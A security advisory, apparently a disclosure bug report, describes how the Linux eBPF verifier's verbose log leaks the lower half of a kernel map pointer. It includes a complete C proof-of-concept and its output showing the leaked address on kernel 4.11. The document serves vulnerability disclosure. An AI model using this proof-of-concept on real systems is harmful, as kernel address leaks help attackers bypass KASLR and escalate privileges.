Linux: eBPF verifier log leaks lower half of map pointer
When the eBPF verifier (kernel/bpf/verifier.c) runs in verbose mode,
it dumps all processed instructions to a user-accessible buffer in
human-readable form using print_bpf_insn(). For instructions with
class BPF_LD and mode BPF_IMM, it prints the raw 32-bit value:
} else if (class == BPF_LD) {
if (BPF_MODE(insn->code) == BPF_ABS) {
[...]
} else if (BPF_MODE(insn->code) == BPF_IND) {
[...]
} else if (BPF_MODE(insn->code) == BPF_IMM) {
verbose("(%02x) r%d = 0x%x\n",
insn->code, insn->dst_reg, insn->imm);
} else {
[...]
}
} else if (class == BPF_JMP) {
This is done in do_check(), after replace_map_fd_with_map_ptr() has
executed. replace_map_fd_with_map_ptr() stores the lower half of a raw
pointer in all instructions with class BPF_LD, mode BPF_IMM and size
BPF_DW (map references).
So when verbose verification is performed on a program with a map
reference, the lower half of the pointer to the map becomes visible to
the user:
$ cat bpf_pointer_leak_poc.c
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#include <err.h>
#include <stdio.h>
#include <stdint.h>
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
int bpf_(int cmd, union bpf_attr *attrs) {
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}
int main(void) {
union bpf_attr create_map_attrs = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = 4,
.value_size = 1,
.max_entries = 1
};
int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
if (mapfd == -1)
err(1, "map create");
struct bpf_insn insns[] = {
BPF_LD_MAP_FD(BPF_REG_0, mapfd),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
char verifier_log[10000];
union bpf_attr create_prog_attrs = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = ARRSIZE(insns),
.insns = (uint64_t)insns,
.license = (uint64_t)"",
.log_level = 1,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
if (progfd == -1)
err(1, "prog load");
puts(verifier_log);
}
$ gcc -o bpf_pointer_leak_poc bpf_pointer_leak_poc.c -Wall -std=gnu99 -I~/linux/usr/include
$ ./bpf_pointer_leak_poc
0: (18) <a href="https://crrev.com/0" title="" class="" rel="nofollow">r0</a> = 0xd9da1c80
2: (b7) <a href="https://crrev.com/0" title="" class="" rel="nofollow">r0</a> = 0
3: (95) exit
processed 3 insns
Tested with kernel 4.11.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: jannh